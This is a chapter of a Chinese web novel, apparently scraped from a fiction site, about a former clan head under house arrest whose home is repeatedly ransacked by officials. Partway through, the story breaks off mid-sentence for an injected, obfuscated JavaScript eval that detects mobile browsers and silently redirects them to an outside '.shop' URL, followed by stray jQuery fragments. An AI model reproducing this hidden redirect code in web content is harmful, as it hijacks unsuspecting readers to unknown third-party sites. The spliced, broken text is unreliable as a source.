文趣网 > 都市小说 > 万人嫌他被迫登基 > 26.软禁
    没收所有财产,留了一套他最常用的房产用作居住。所有的账户都被冻结,尺绫打开账户的时候,里面的钱已经被全部划扣了,一分不剩。

    卡薇问他有没有换一点现金,尺绫说有的,他叫来服务员,先用现金结了帐。

    伴随决定而来的还有明细,尺绫的资产一清二楚地被列出来,算上不动产的估值总共有一千多万,尺绫的车也被没收了,包括车内的现金,虽然不值几个钱。

    从今往后尺绫每个月可支配的额度只有2000出头。议会和上头参考了最低生活保障准线和最低薪资标准,这和他平时的花费差得有点多。卡薇对此有点担心,又问他:“你换了多少。”

    尺绫喝了点小甜水:“万把块吧。”

    上次换的金条他自己真的一条没留,现在已经不知道进了谁的袋子里了。

    尺绫自己倒对这个消息不意外,甚至有所预兆了,无论是软禁还是没收财产他都感知到了,心里有了个底。

    卡薇在想他也许刚才应该买一部新手机的。尺绫不以为意,吃完布丁又点了一个雪糕,这次给的是现金。

    卡薇看了看时间,时间差不多了。尺绫从刚刚开始就应该接受管束了,所谓软禁,他应该很熟悉,他的父亲也是软禁终身。路径几乎一模一样。

    不过尺绫算是幸运的,他的软禁范围在N市,平时活动范围不能超出以他家为圆心半径两公里的地方,出范围需要报备,即使是去有寂司也一样要报备。

    尺绫家附近是有个大商场的,也有个甜水铺,甚至琴行也在范围之内。尺绫对这个结果还算满意,起码不会打断目前的生活节奏。

    尺绫只需要在家附近吃喝拉撒就好了,作出决议的人要考虑的可比这个多多了。他们要考虑氏族的未来啊,再犯的可能性啊,和上头的相处乃至资产的瓜分以及大伙的面子问题。各氏族都派出了代表,开了好几天的会商讨,最后一票一票地投出了这个决定。

    尺绫没办法,他只能乐意接受。

    尺绫吃完雪糕,站起来点点头,今天的外出遛弯时间已经很充足了。男朋友一看他们像是要干什么去的,也连忙站起来,卡薇无奈说:“我送他回家。”

    “我也想去。”男朋友没有说他就不能自己回家吗,已经算很收敛了。

    “这是我的工作。”卡薇继续无奈,她其实宁愿去巡逻也不太想干这个任务。

    尺绫夹在其中没出声,这也许是属于情侣之间的小打小闹。

    男朋友就是执意想去:“那你当成我送送你。”

    卡薇本想很严肃地拒绝,但尺绫说了来吧,一起散散步也是好事。卡薇闭上嘴巴,内心还是非常不愿意。

    从商场往回走,有一公里多的距离。尺绫在前面走着,卡薇在后面跟着,男朋友在后面像只狗一样吊着。

    没吊一阵儿,狗就从后面追上来,隔开尺绫和卡薇的距离。他很关心地问:“你有没有其他朋友啊。”

    尺绫回答:“有,他会画画。”

    男朋友一听立马又问:“那你怎么不约他出来玩。”

    尺绫回答:“坐牢了。”

    男朋友听到这三个字,脑海是空白的,他咽了口唾沫,立马又感觉话不能掉地上,于是说,“除了学钢琴之外,你有什么兴趣爱好。我认识很多老师的……”

    尺绫的脚步突然停下。他望见路边停着两辆公务车。他转身,踏上楼梯,并且回答:“坐牢。我到了,谢谢……”

    男朋友还没消化清楚这句回应是什么意思,卡薇也看到了公务车,她神色立马变动了。

    她转身跟上了楼梯。这套尺绫常住的房子是路边房,除了离商圈近外没有任何优点,住在5楼,只有楼梯,套内面积84平,已经有三十年房龄了,不值几个钱。她气喘吁吁冲上5楼,看见尺绫站在门口,大门敞开着,门锁已经毁坏,里面传出翻找东西的声音。

    尺绫回回头,见她来了,说:“你下去吧,没什么事。”

    卡薇透着空隙看里面,怎么可能没事,一地狼藉,书架上的书全部都翻过然后丢到地面上,柜子、箱子全部打开,房间里更加混乱,衣服掉了一地,连电视机边上的花都抽出来折断了。

    卡薇记得那花是尺绫前几天买的,还没开,三块钱一枝。

    尺绫就这样站在门口。观看着他们的所作所为。

    茶几桌面上放着搜出来有价值的东西:他放在抽屉的万把块现金,其他地方的一些花花绿绿的零钱,尺绫还弄了一个柜子放水烟壶,银的金的,摆得很好看,现在都被充公了。就剩些彩玻璃小件乱七八糟地堆着。

    一行人翻找了半天,就翻出些这么东西。他们似乎不相信一样,来回翻,不错过任何一个角落。他们坚信着尺绫作为一代家主,管着N市这么庞大的地方,怎么只会剩下一千万的资产。尺绫并没有说任何话,只是静静地看着,直到看着他们翻了第三遍,还是没有多余的收获。

    他们给桌上那点少得可怜的资产拍了照,拿走了万把块,留给尺绫一丁点零钱。金银水烟壶也拿走了,没有要归还原位的意思。尺绫走近去,他们打量起尺绫的身体来,最终拿起个金属探测器,说要给他搜身。

    金属探测器在碰到监听器和定位器的时候响了,他们有些不好意思。但终归是执行命令,最后在尺绫身上搜到两百块现金,他们留下了。

    一场硝烟过后,众人散去。卡薇站在门外看着他们走,等一个人都不在的时候,她走进去。她看到桌面上零散的现金,说这样不行的。她掏自己荷包拿出千把块让他自己先拿着。

    尺绫没有收下,他整理了以下乱七八糟的沙发,然后坐下:“省点花就行。”

    他左右看看,身体微欠,打量了一下自己的屋子,紧接着站起来,弯腰捡起地上的沙发布,“你先走吧,我把屋子收拾一下。”

    衣服、被单杂乱一地,各种小物件也在地上四面朝天。尺绫统统弯腰捡起来,卡薇退出房子,最后看了他一眼,然后转身下楼。

    收拾到房间的时候,尺绫在一个角落发现一封信。他记得这封信从来没出现过,他打开,上面赫然写道:

    【我们都知道你很痛苦,你是个很负责任的人。我知道你记性好,所以为你争取到了一个机会,只要你肯把户籍本默写出来,我们保证你的生活恢复如初】

    尺绫看了,掏出口袋的打火机,一打火点了。信纸在快速地萎缩,直至烧到手边变成灰烬,尺绫才松手。

    他继续弯腰收拾屋子,没有一个角落市整齐的。幸而这套面积比较少,换作他其他不动产,请阿姨收拾都要一整天。

    约莫一个小时后,屋子里才有了点出门前的样子。

    尺绫摊在沙发上,等着太阳落下,他望着阳台,就只是望着。等到五点多的时候,他意识到自己也许该去做饭了。打开冰箱,空的。

    他出了门,此时卡薇因为局里有事,没有再跟着他。这或许是他为数不多的独处时间。

    尺绫带了几十块现金,走到家附近的菜市场去。他很少下厨,但他知道家里附近有什么,他的记性是很好的,只要看一眼就能记住。

    他买了两根青瓜,买了豆芽,买了一斤鸡蛋,路过鱼档的时候,他考虑到自己的营养均衡,买了十块钱的鱼。到水果摊,他挑了几个油桃,一边走一边吃。

    离开菜市场的时候,身上从几十块变成了十几块。这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838619|207191||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大概就是他这两天花销的预算。他本来想买包烟的,一想到自己已经好几天没抽了,便也算了,就这样戒了吧。

    爬上五层楼梯,回到家的时候,他看着敞开的大门,愣了愣。

    他在玄关处,脱了鞋,又抬眼看了一眼家里。

    他进了厨房放下鱼,洗了手,就又开始出厨房收拾。家里再一次被翻得底朝天,花瓶、抱枕、纸垫凌乱一地。尺绫去看了看窗外,扫了一眼楼下的车,然后拉起窗帘。

    他先扫了打碎的垃圾,把东西都捡起来,没收拾得很干净就先去做饭了。

    约莫一个小时后,他一个人在客厅吃着饭菜。他知道房间里有摄像头在监控着自己。他吃完饭就坐在沙发上,一动不动,直至窗帘外没有任何光透进来,屋内漆黑一片。

    尺绫没有开灯,他开了电视,屋子里满是女播报员的声音。今日的新闻都是些什么火灾啊什么车祸之类的,没有很特别的事。

    他一直坐在沙发上,没有开灯,看完新闻后,又看了两集电视剧。再一看时间,已经十点多了。

    尺绫走到窗边,看楼下,车依然停在那儿。

    他倚在窗边,抱着双手,就一直看着车辆。楼下时不时有汽车路过,路灯静静地立着。

    看到十一点,尺绫重新拉上窗帘。进卧室睡觉。

    第二天,卡薇没有来。尺绫并不意外,他一如既往地下楼去商场吃点东西。走到一半的时候他才想起来自己被限额了,于是随便找了个早餐店吃了碗馄饨。他在商场凉了一会儿空调,没有消费,便出去了。

    他走到自己菜市场附近的那家酒吧。他已经很久没有过去了,抵达后吃了个闭门羹。他只好转头扎进菜市场里,买了些蔬果,便启程回家。

    他叫了一个师傅,给门换了锁,钥匙只有自己有。先前两天的时候还好,一切正常。第三天的时候尺绫照常提着菜回到家,发现门又敞开了。

    他看到两个人正在自己家翻箱倒柜。他认得出来是谁,是有寂司的人员。

    见到他回来,两个有寂司人员看了看时间,站起来,脸上并没有歉意。

    尺绫侧过半身,站在门口,让他们离开。他们却正眼都不瞧尺绫一眼,对故意弄倒在地上的东西用脚拨开,美名其曰公务巡查,经过尺绫面前,他们用侧眼看了一下他,翻了白眼。

    尺绫关上门,看着一地狼藉,有不少东西又在搜寻期间损坏。他放下东西,弯下腰继续收拾。他知道搜寻本不该这么频繁的,但他没有发出意见。

    吃完饭,尺绫又窝在沙发上看电视。他最近发现这部电视剧还挺好看,虽然无脑,但有个声响。

    他看了一眼自己的门锁,是彻底撬坏了,他又预约了明天的修锁师傅,打算换一个指纹锁,这样烂得也慢一些。

    这让尺绫想到了小时候。小时候他住的地方也是这么昏暗的。他与父亲住在一起,父亲也是被囚禁起来了,自从囚禁那日起,就没出过家里的地下室。尺绫也一样,他在父亲死之前,也一起呆在地下室没见过阳光,这为他落下了眼疾。

    这令尺绫有一点亲切。他切了个水果吃,他对自己会重蹈覆辙并不意外,毕竟大家都心怀鬼胎,早有预谋。

    他突然想起,自己好像没过过生日。

    他找了个包装的小蛋糕,拆开,用打火机点着蜡烛,在茶几上面放着。他学着电视里面的样子合着双手,他却不会唱生日歌,或许他该去琴行学一下的。他静坐了一会儿,看着蜡烛燃了一半。

    屋子里就这么一点光亮,他突然有打翻蛋糕的冲动,即使它只有拳头大小。他双手合十,往前欠了欠身,吹一口气。

    蜡烛熄了,屋内重新黑暗。